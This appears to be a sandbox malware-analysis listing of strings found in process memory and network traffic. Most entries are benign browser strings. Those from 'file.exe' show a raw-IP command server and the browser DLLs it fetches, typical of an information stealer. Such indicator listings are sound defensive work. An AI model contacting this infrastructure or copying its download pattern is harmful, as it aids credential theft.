#image{max-height:160px}:host([doodle-boxed_][reduced-logo-space-enabled_]) #image{max-height:128px}#animation{height:100%;pointer-events:none;position:absolute;width:100%}#shareButton{background-color:var(--ntp-logo-share-button-background-color,none);border:none;height:var(--ntp-logo-share-button-height,0);left:var(--ntp-logo-share-button-x,0);min-width:var(--ntp-logo-share-button-width,0);opacity:.8;outline:initial;padding:2px;position:absolute;top:var(--ntp-logo-share-button-y,0);width:var(--ntp-logo-share-button-width,0)}#shareButton:hover{opacity:1}#shareButton img{height:100%;width:100%}#iframe{border:none;
Source: chrome.exe, 00000002.00000003.2144744276.00007AA400FB8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2144803762.00007AA400F78000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2144605007.00007AA400390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: const FACEBOOK_APP_ID=738026486351791;class DoodleShareDialogElement extends PolymerElement{static get is(){return"ntp-doodle-share-dialog"}static get template(){return getTemplate$3()}static get properties(){return{title:String,url:Object}}onFacebookClick_(){const url="https://www.facebook.com/dialog/share"+`?app_id=${FACEBOOK_APP_ID}`+`&href=${encodeURIComponent(this.url.url)}`+`&hashtag=${encodeURIComponent("#GoogleDoodle")}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kFacebook)}onTwitterClick_(){const url="https://twitter.com/intent/tweet"+`?text=${encodeURIComponent(`${this.title}\n${this.url.url}`)}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kTwitter)}onEmailClick_(){const url=`mailto:?subject=${encodeURIComponent(this.title)}`+`&body=${encodeURIComponent(this.url.url)}`;WindowProxy.getInstance().navigate(url);this.notifyShare_(DoodleShareChannel.kEmail)}onCopyClick_(){this.$.url.select();navigator.clipboard.writeText(this.url.url);this.notifyShare_(DoodleShareChannel.kLinkCopy)}onCloseClick_(){this.$.dialog.close()}notifyShare_(channel){this.dispatchEvent(new CustomEvent("share",{detail:channel}))}}customElements.define(DoodleShareDialogElement.is,DoodleShareDialogElement);function getTemplate$2(){return html`<!--_html_template_start_--><style include="cr-hidden-style">:host{--ntp-logo-height:200px;display:flex;flex-direction:column;flex-shrink:0;justify-content:flex-end;min-height:var(--ntp-logo-height)}:host([reduced-logo-space-enabled_]){--ntp-logo-height:168px}:host([doodle-boxed_]){justify-content:flex-end}#logo{forced-color-adjust:none;height:92px;width:272px}:host([single-colored]) #logo{-webkit-mask-image:url(icons/google_logo.svg);-webkit-mask-repeat:no-repeat;-webkit-mask-size:100%;background-color:var(--ntp-logo-color)}:host(:not([single-colored])) #logo{background-image:url(icons/google_logo.svg)}#imageDoodle{cursor:pointer;outline:0}#imageDoodle[tabindex='-1']{cursor:auto}:host([doodle-boxed_]) #imageDoodle{background-color:var(--ntp-logo-box-color);border-radius:20px;padding:16px 24px}:host-context(.focus-outline-visible) #imageDoodle:focus{box-shadow:0 0 0 2px rgba(var(--google-blue-600-rgb),.4)}#imageContainer{display:flex;height:fit-content;position:relative;width:fit-content}#image{max-height:var(--ntp-logo-height);max-width:100%}:host([doodle-boxed_]) #image{max-height:160px}:host([doodle-boxed_][reduced-logo-space-enabled_]) #image{max-height:128px}#animation{height:100%;pointer-events:none;position:absolute;width:100%}#shareButton{background-color:var(--ntp-logo-share-button-background-color,none);border:none;height:var(--ntp-logo-share-button-height,0);left:var(--ntp-logo-share-button-x,0);min-width:var(--ntp-logo-share-button-width,0);opacity:.8;outline:initial;padding:2px;position:absolute;top:var(--ntp-logo-share-button-y,0);width:var(--ntp-logo-share-button-width,0)}#shareButton:hover{opacity:1}#shareButton img{height:100%;width:100%}#iframe{border:none;
Source: chrome.exe, 00000002.00000002.2334837766.00007AA400AE4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2335889876.00007AA400C2C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/ equals www.youtube.com (Youtube)
Source: chrome.exe, 00000002.00000002.2324977041.00007AA400790000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/: equals www.youtube.com (Youtube)
Source: chrome.exe, 00000002.00000002.2342423736.00007AA40117C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2335506529.00007AA400BAC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/?feature=ytca equals www.youtube.com (Youtube)
Source: chrome.exe, 00000002.00000002.2342423736.00007AA40117C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/?feature=ytcaogl equals www.youtube.com (Youtube)
Source: chrome.exe, 00000002.00000002.2324977041.00007AA400790000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/J equals www.youtube.com (Youtube)
Source: chrome.exe, 00000002.00000002.2335889876.00007AA400C2C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/b equals www.youtube.com (Youtube)
Source: chrome.exe, 00000002.00000002.2349640312.00007AA4012C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2312397243.00007AA4005C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2300482869.00007AA4002D0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/s/notifications/manifest/cr_install.html equals www.youtube.com (Youtube)
Source: chrome.exe, 00000002.00000002.2312397243.00007AA4005C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/s/notifications/manifest/cr_install.htmllt equals www.youtube.com (Youtube)
Source: chrome.exe, 00000002.00000002.2335889876.00007AA400C2C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: www.youtube.com equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: apis.google.com
Source: global traffic	DNS traffic detected: DNS query: play.google.com
Source: global traffic	DNS traffic detected: DNS query: ntp.msn.com
Source: global traffic	DNS traffic detected: DNS query: bzib.nelreports.net
Source: global traffic	DNS traffic detected: DNS query: clients2.googleusercontent.com
Source: global traffic	DNS traffic detected: DNS query: sb.scorecardresearch.com
Source: global traffic	DNS traffic detected: DNS query: c.msn.com
Source: global traffic	DNS traffic detected: DNS query: assets.msn.com
Source: global traffic	DNS traffic detected: DNS query: api.msn.com
Source: global traffic	DNS traffic detected: DNS query: chrome.cloudflare-dns.com

Source: unknown

HTTP traffic detected: POST /log?format=json&hasfast=true HTTP/1.1Host: play.google.comConnection: keep-aliveContent-Length: 913sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Type: application/x-www-form-urlencoded;charset=UTF-8Accept: */*Origin: chrome-untrusted://new-tab-pageX-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlKHLAQiFoM0BCOnFzQEIucrNAQiK080BGI/OzQEYwtjNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: file.exe, file.exe, 00000000.00000002.2517335011.0000000000EB6000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2517335011.0000000000DFC000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2516211934.0000000000B6E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206
Source: file.exe, 00000000.00000002.2516211934.0000000000BB4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: file.exe, 00000000.00000002.2516211934.0000000000BC8000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2517335011.0000000000EE4000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2517335011.0000000000DFC000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php
Source: file.exe, 00000000.00000002.2516211934.0000000000BE3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php$
Source: file.exe, 00000000.00000002.2516211934.0000000000BC8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php-
Source: file.exe, 00000000.00000002.2516211934.0000000000BE3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php3
Source: file.exe, 00000000.00000002.2516211934.0000000000BE3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpBrowser
Source: file.exe, 00000000.00000002.2516211934.0000000000BE3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpJKEHIJECGCBFIJEGI
Source: file.exe, 00000000.00000002.2516211934.0000000000BC8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpM
Source: file.exe, 00000000.00000002.2516211934.0000000000BC8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpe
Source: file.exe, 00000000.00000002.2516211934.0000000000BE3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpf
Source: file.exe, 00000000.00000002.2517335011.0000000000DFC000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpion:
Source: file.exe, 00000000.00000002.2516211934.0000000000BE3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpl
Source: file.exe, 00000000.00000002.2516211934.0000000000BE3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpnfigOverlay
Source: file.exe, 00000000.00000002.2516211934.0000000000BC8000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2516211934.0000000000BB4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/freebl3.dll
Source: file.exe, 00000000.00000002.2516211934.0000000000BB4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/freebl3.dll0u
Source: file.exe, 00000000.00000002.2516211934.0000000000BB4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/freebl3.dll?
Source: file.exe, 00000000.00000002.2516211934.0000000000BC8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/freebl3.dlll
Source: file.exe, 00000000.00000002.2516211934.0000000000BC8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/mozglue.dll
Source: file.exe, 00000000.00000002.2516211934.0000000000BC8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/mozglue.dll:
Source: file.exe, 00000000.00000002.2516211934.0000000000BC8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/msvcp140.dll
Source: file.exe, 00000000.00000002.2516211934.0000000000BC8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/nss3.dll
Source: file.exe, 00000000.00000002.2516211934.0000000000BC8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/softokn3.dll
Source: file.exe, 00000000.00000002.2516211934.0000000000BC8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/softokn3.dll.
Source: file.exe, 00000000.00000002.2516211934.0000000000BC8000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2517335011.0000000000EE4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/sqlite3.dll
Source: file.exe, 00000000.00000002.2516211934.0000000000BC8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/sqlite3.dll$
Source: file.exe, 00000000.00000002.2516211934.0000000000BC8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/vcruntime140.dll
Source: file.exe, 00000000.00000002.2516211934.0000000000BE3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/vcruntime140.dlla
Source: file.exe, 00000000.00000002.2516211934.0000000000BC8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/vcruntime140.dllf
Source: file.exe, 00000000.00000002.2516211934.0000000000BE3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/vcruntime140.dllocal
Source: file.exe, 00000000.00000002.2516211934.0000000000BB4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/k
Source: file.exe, 00000000.00000002.2517335011.0000000000DFC000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206KKF
Source: chrome.exe, 00000002.00000003.2142656565.00007AA400E0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2142625016.00007AA400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2335889876.00007AA400C2C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2264219679.000008540037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/1423136
Source: chrome.exe, 00000002.00000003.2142656565.00007AA400E0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2142625016.00007AA400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2335889876.00007AA400C2C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2264219679.000008540037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/2162
Source: chrome.exe, 00000002.00000002.2335506529.00007AA400BAC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2264219679.000008540037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/2517
Source: chrome.exe, 00000002.00000003.2142656565.00007AA400E0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2142625016.00007AA400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2335889876.00007AA400C2C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2264219679.000008540037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/2970
Source: chrome.exe, 00000002.00000003.2142656565.00007AA400E0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2142625016.00007AA400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2335889876.00007AA400C2C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2264219679.000008540037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3078
Source: chrome.exe, 00000002.00000003.2142656565.00007AA400E0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2142625016.00007AA400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2335889876.00007AA400C2C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2264219679.000008540037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3205
Source: chrome.exe, 00000002.00000002.2335506529.00007AA400BAC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2260678311.0000085400390000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2264219679.000008540037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3206
Source: chrome.exe, 00000002.00000003.2142656565.00007AA400E0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2142625016.00007AA400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2335889876.00007AA400C2C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2264219679.000008540037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3452
Source: chrome.exe, 00000002.00000003.2142656565.00007AA400E0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2142625016.00007AA400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2335889876.00007AA400C2C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2264219679.000008540037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3498
Source: chrome.exe, 00000002.00000003.2142656565.00007AA400E0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2142625016.00007AA400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2335889876.00007AA400C2C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2264219679.000008540037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3502
Source: chrome.exe, 00000002.00000002.2335506529.00007AA400BAC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2264219679.000008540037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3577
Source: chrome.exe, 00000002.00000002.2335506529.00007AA400BAC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2260678311.0000085400390000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2264219679.000008540037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3584
Source: chrome.exe, 00000002.00000002.2335506529.00007AA400BAC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2264219679.000008540037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3586
Source: msedge.exe, 00000007.00000003.2264219679.000008540037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3623
Source: msedge.exe, 00000007.00000003.2264219679.000008540037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3624
Source: msedge.exe, 00000007.00000003.2264219679.000008540037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3625
Source: chrome.exe, 00000002.00000002.2335506529.00007AA400BAC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2260678311.0000085400390000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2264219679.000008540037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3832
Source: chrome.exe, 00000002.00000002.2335506529.00007AA400BAC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2260678311.0000085400390000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2264219679.000008540037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3862
Source: chrome.exe, 00000002.00000002.2335506529.00007AA400BAC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2260678311.0000085400390000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2264219679.000008540037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3965
Source: chrome.exe, 00000002.00000002.2335506529.00007AA400BAC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2264219679.000008540037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3970
Source: chrome.exe, 00000002.00000003.2142656565.00007AA400E0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2142625016.00007AA400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2335889876.00007AA400C2C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2264219679.000008540037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4324
Source: chrome.exe, 00000002.00000003.2142656565.00007AA400E0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2142625016.00007AA400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2335889876.00007AA400C2C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2264219679.000008540037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4384
Source: chrome.exe, 00000002.00000002.2335506529.00007AA400BAC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2260678311.0000085400390000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2264219679.000008540037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4405
Source: chrome.exe, 00000002.00000003.2142656565.00007AA400E0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2142625016.00007AA400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2335889876.00007AA400C2C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2264219679.000008540037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4428
Source: chrome.exe, 00000002.00000002.2335506529.00007AA400BAC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2260678311.0000085400390000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2264219679.000008540037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4551
Source: chrome.exe, 00000002.00000003.2142656565.00007AA400E0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2142625016.00007AA400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2335889876.00007AA400C2C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2264219679.000008540037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4633
Source: chrome.exe, 00000002.00000003.2142656565.00007AA400E0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2142625016.00007AA400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2335889876.00007AA400C2C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2264219679.000008540037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4722
Source: chrome.exe, 00000002.00000002.2335506529.00007AA400BAC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2260678311.0000085400390000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2264219679.000008540037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4836
Source: chrome.exe, 00000002.00000003.2142656565.00007AA400E0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2142625016.00007AA400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2335889876.00007AA400C2C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2264219679.000008540037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4901
Source: chrome.exe, 00000002.00000003.2142656565.00007AA400E0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2142625016.00007AA400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2335889876.00007AA400C2C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2264219679.000008540037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4937
Source: chrome.exe, 00000002.00000003.2142656565.00007AA400E0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2142625016.00007AA400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2335889876.00007AA400C2C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2264219679.000008540037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5007
Source: chrome.exe, 00000002.00000002.2335506529.00007AA400BAC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2260678311.0000085400390000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2264219679.000008540037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5055
Source: chrome.exe, 00000002.00000002.2335506529.00007AA400BAC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2260678311.0000085400390000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2264219679.000008540037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5061
Source: chrome.exe, 00000002.00000002.2335506529.00007AA400BAC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2260678311.0000085400390000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2264219679.000008540037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5281
Source: chrome.exe, 00000002.00000002.2335506529.00007AA400BAC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2260678311.0000085400390000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2264219679.000008540037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5371
Source: chrome.exe, 00000002.00000003.2142656565.00007AA400E0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2142625016.00007AA400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2335889876.00007AA400C2C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2264219679.000008540037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5375
Source: chrome.exe, 00000002.00000002.2335506529.00007AA400BAC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2264219679.000008540037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5421
Source: chrome.exe, 00000002.00000002.2335506529.00007AA400BAC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2260678311.0000085400390000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2264219679.000008540037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5430
Source: chrome.exe, 00000002.00000003.2142656565.00007AA400E0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2142625016.00007AA400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2335889876.00007AA400C2C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2264219679.000008540037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5535
Source: chrome.exe, 00000002.00000003.2142656565.00007AA400E0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2142625016.00007AA400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2335889876.00007AA400C2C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2264219679.000008540037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5658
Source: chrome.exe, 00000002.00000003.2142656565.00007AA400E0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2142625016.00007AA400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2335889876.00007AA400C2C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2264219679.000008540037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5750
Source: chrome.exe, 00000002.00000002.2335506529.00007AA400BAC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2260678311.0000085400390000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2264219679.000008540037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5881
Source: chrome.exe, 00000002.00000002.2335506529.00007AA400BAC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2264219679.000008540037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5901
Source: chrome.exe, 00000002.00000002.2335506529.00007AA400BAC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2260678311.0000085400390000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2264219679.000008540037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5906
